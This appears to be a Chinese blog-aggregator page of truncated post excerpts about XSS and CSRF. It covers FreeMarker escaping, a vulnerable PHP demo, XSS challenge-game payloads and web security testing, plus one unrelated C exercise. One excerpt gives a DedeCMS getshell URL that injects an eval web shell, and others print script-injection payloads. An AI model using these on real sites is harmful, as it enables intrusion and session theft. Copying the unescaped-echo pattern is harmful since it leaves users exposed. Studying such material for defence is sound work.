xss

freemarker默认escape html 防范xss

女生的网名这么多〃 提交于 2020-03-02 19:16:26
freemarker 有html escape 方法,但是框架没有地方可以配置默认escape 1.<#escape>指令 2.<xxx?html>内建函数 方法一、 网上比较多的是通过TemplateLoader,给加载的template文件2头套 <#escape> <#escape x as x?html> your template code </#escape> 参考: http://techdiary.peterbecker.de/2009/02/defending-against-xss-attacks-in.html 但是现在我们应用的对freemarker做了扩展,一个页面分3个部分,一个layout、一个view、多个control。 多次render才到最终结果。要控制比较麻烦配置,也不友好。 方法二 改源码的$变量、默认全部转义、对固定的扩展的layout、一个view、多个control,配置正则原义输出。 变量是string类型的时候,用了xxx?string作为原义输出的内建函数。 缺点:比较暴力,修改了DollarViable源码,后续freemarker有升级要跟随修改 /** * The original code * env.getOut().write(escapedExpression.getStringValue(env)); */

CSRF

我只是一个虾纸丫 提交于 2020-03-02 04:06:58
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。 CSRF的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,以后访问这个网站,都会默认你已经登录状态,而在这个期间,共计者发送构造好的csrf脚本或包含csrf链接,可能会执行一些用户不想做的功能(比如添加账号),说白了就是借用别人的cookie,去发送命令。 靶场演示 来到留言板,留言抓包 右键点击 生成的文件保存下来,点击提交 留言成功。 这里我搭建了一个dede_cms的网站 这个cms有一个后台getshell的漏洞。 原文 http://localhost/dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\%22;eval($_GET[a]);die();//

PHP防XSS攻击

纵然是瞬间 提交于 2020-03-01 18:45:35
什么是XSS攻击 代码实例: <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重现</title> </head> <body> <form action="" method="get"> <input type="text" name="xss_input"> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input']; echo '你输入的字符为<br>'.$xss; // echo '你输入的字符为<br>'."<script>alert('xss')</script>"; ?> </body> </html> 注意:如果要表单提交数据到自己页面,action就设置为空 如果我们在表单中输入的是"<script>alert('xss')</script>",那么,我们接收到的结果就是 echo '你输入的字符为<br>'."<script>alert('xss')</script>"; 于是就弹出了alert框, 相当于就修改了程序 。除了这些,还能制造其他麻烦, 刷新或重定向,损坏网页或表单,窃取cookie,AJAX(XMLHttpRequest)。 注意

xss小游戏

孤街浪徒 提交于 2020-03-01 15:14:28
<p></p><p>最近发现一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬@Mramydnei,喜欢XSS的大家可以一起来学习交流。</p> 现在我把自己在前面的十八关里面的闯关过程记录一下,大神绕行,我是菜鸟,大家可以一起学习,互相进步成长。 第一关,没有任何疑问,简单的不能再简单,没有任何过滤 输入点在url里面,参数name 输出点在页面里面,没有任何限制 所以可以构造payload http://127.0.0.1/xss/level1.php?name=<script>confirm("完成的不错!")</script> http://127.0.0.1/xss/level1.php?name=<script>prompt("完成的不错!")</script> http://127.0.0.1/xss/level1.php?name=<script>alert("完成的不错!")</script> XSS挑战之旅---level2 来到第二关,发现这次输入点在界面和url里面都有了 输出点还是在界面中 我们来尝试进行XSS试探 test"><script>confirm("完成的不错!")</script> 发现神奇的弹窗了,好吧,来看看源代码 显而易见,上面尖括号被过滤了,而下面却没有 这样的话,我们原来的payload是可以用的 test"><script

周报

江枫思渺然 提交于 2020-03-01 14:59:11
C语言算法题 题目描述众所周知,在每一个彗星后都有一只UFO。这些UFO时常来收集地球上的忠诚支持者。不幸的是,他们的飞碟每次出行都只能带上一组支持者。因此,他们要用一种聪明的方案让这些小组提前知道谁会被彗星带走。他们为每个彗星起了一个名字,通过这些名字来决定这个小组是不是被带走的那个特定的小组(你认为是谁给这些彗星取的名字呢?)。关于如何搭配的细节会在下面告诉你;你的任务是写一个程序,通过小组名和彗星名来决定这个小组是否能被那颗彗星后面的UFO带走。小组名和彗星名都以下列方式转换成一个数字:最终的数字就是名字中所有字母的积,其中AAA是111,ZZZ是262626。例如,USACOUSACOUSACO小组就是21×19×1×3×15=1795521 \times 19 \times 1 \times 3 \times 15=1795521×19×1×3×15=17955。如果小组的数字 mod 47 \bmod 47mod47等于彗星的数字 mod 47 \bmod 47mod47,你就得告诉这个小组需要准备好被带走!(记住“a mod ba \bmod bamodb”是aaa除以bbb的余数;34 mod 1034 \bmod 1034mod10等于444)写出一个程序,读入彗星名和小组名并算出用上面的方案能否将两个名字搭配起来,如果能搭配,就输出“GO”,否则输出“STAY”

常见的几种Web安全问题测试简介

回眸只為那壹抹淺笑 提交于 2020-02-29 22:49:55
Web项目比较常见的安全问题 1.XSS(CrossSite Script)跨站脚本 XSS(CrossSite Script)跨站脚本。它指的是恶意往Web 页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web 里面的html 代码会被执行,从而达到恶意用户的特殊目的。 测试方法:在数据输入界面,添加记录输入:,添加成功如果弹出对话框,表明此处存在一个XSS 漏洞。或把url请求中参数改为,如果页面弹出对话框,表明此处存在一个XSS 漏洞 修改建议:过滤掉用户输入中的危险字符。对输入数据进行客户端和程序级的校验(如通过正则表达式等)。Eg:对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤 2.CSRF与跨站脚本(XSS) CSRF与跨站脚本(XSS),是指请求迫使某个登录的浏览器向易受 的Web应用发送一个请求,然后以受害者的名义,为 者的利益进行所选择的行动。 测试方法:同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功,使用工具发送请求,在http请求头中不加入referer字段,检验返回消息的应答,应该重新定位到错误界面或者登陆界面。 修改建议:在不同的会话中两次发送同一请求并且收到相同的响应。这显示没有任何参数是动态的(会话标识仅在cookie 中发送),因此应用程序易受到此问题。因此解决的方法为: (1)

Preventing XSS with JSOUP

最后都变了- 提交于 2020-02-28 13:46:32
JSOUP is XSS prevention tool. Jsoup can detect xss script in html and url also. Now i am giving example with url. Jsoup can validate the url with the help of "isValidate()" method. "isValidate()" method return type is boolean. If return type is true that means url having xss script so we need to clean the url with the help of "clean()" method. "clean()" method will return clean url as string. JSOUP can handle all cheat sheet scenarios. url of cheat sheet is: "https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet" JSOUP has clear api. "http://jsoup.org/apidocs/" Antisamy also one of

xss详解

ε祈祈猫儿з 提交于 2020-02-27 14:51:08
xss介绍 xss意为跨站脚本攻击,通常是指攻击者构造恶意的url发送给用户从而达到挟持用户会话的功能。xss分为三类,反射型xss,储存型xss,DOM型xss 反射型xss 反射型xss是通过往url中添加恶意的JavaScript代码发送给用户触发,只能触发一次所有也叫做“非持久性xss” 如攻击者构造以下url http://。。。。。。。?uname=“” 如果用户点击这个url服务器就会接收用户请求处理,然后将cookie值返回给浏览器,浏览器解析这个代码,就会弹出一个带cookie值的弹窗。 者就是反射型xss的攻击过程 存储型xss 存储型xss通常是放在服务器的数据库中,如攻击者将一串恶意代码放在一个论坛的留言中当用户访问这个页面时,服务器响应请求返回给浏览器从而导致xss漏洞。通过改变代码的内容就可以实现信息的盗取。 DOM型xss DOM XSS是基于dom文档对象模型,前端脚本通过dom动态修改页面,由于不与服务端进行交互,而且代码是可见的,从前端获取dom中的数据在本地执行。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。 关于DOM型xss可以看下面文章有详解 https://blog.csdn.net/Bul1et/article/details/85091020 来源: CSDN 作者: 带头大哥段坤

简述XSS与CSRF区别

血红的双手。 提交于 2020-02-27 00:26:39
XSS跨站脚本攻击 XSS:中文名称跨站脚本攻击,通常出现在搜索框、留言板、评论区等地方   分类:反射性、存储型、DOM型   攻击方式:构造恶意链接,诱骗用户点击盗取用户的cookie信息   反射性XSS:     通常这一类xss危害较低,对网站没有什么严重的影响,具体表现在用户在搜索框输入xss语句返回弹框,仅出现一次   存储型XSS:     存储型对网站危害较大,用户插入xss语句后,恶意语句会存入网站数据库中,用户访问过程都会出现弹框   DOM型XSS:     DOM——文档对象类型     利用浏览器的dom解析,更不容易被发现,可以更改页面布局   漏洞危害:XSS蠕虫、会话、流量劫持、网站挂马、盗取cookie   防护方法:设置黑名单和白名单、对用户输入进行过滤、入参字符过滤、出参字符转义、设置http-only CSRF跨站请求伪造 CSRF漏洞:中文名称跨站请求伪造,攻击者冒充用户身份执行用户操作   漏洞原理:     1、用户登录信任网站在未退出的情况下访问攻击者构造的恶意网站     2、恶意网站发出访问第三方网站的请求,信任网站收到请求以用户信息访问     3、攻击者在用户不知情的情况下冒充用户身份访问成功   检测漏洞:抓取一个请求包,去掉referer字段进行访问,如果访问有效则存在漏洞   危害:盗用用户身份、执行用户操作,修改信息

XSS攻击

穿精又带淫゛_ 提交于 2020-02-26 23:29:51
XSS攻击的介绍 在开始本文之前,我们先提出一个问题,请判断以下两个说法 是否正确 : XSS 防范是后端 RD(研发人员)的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。 如果你还不能确定答案,那么可以带着这些问题向下看,我们将逐步拆解问题。 XSS漏洞的发生和修复 XSS 攻击是页面被注入了恶意的代码,为了更形象的介绍,我们用发生在小明同学身边的事例来进行说明。 一个案例 某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下: <input type="text" value="<%=getParameter("keyword")%>"> <button>搜索</button> <div> 您搜索的关键词是:<%=getParameter("keyword")%> </div> 然而 ,在上线后不久,小明就接到了安全组发来的一个神秘链接: http://xxx/search?keyword="><script>alert('XSS');</script> 小明带着一种不祥的预感点开了这个链接 [请勿模仿,确认安全的链接才能点开] 。果然,页面中弹出了写着”XSS”的对话框。 可恶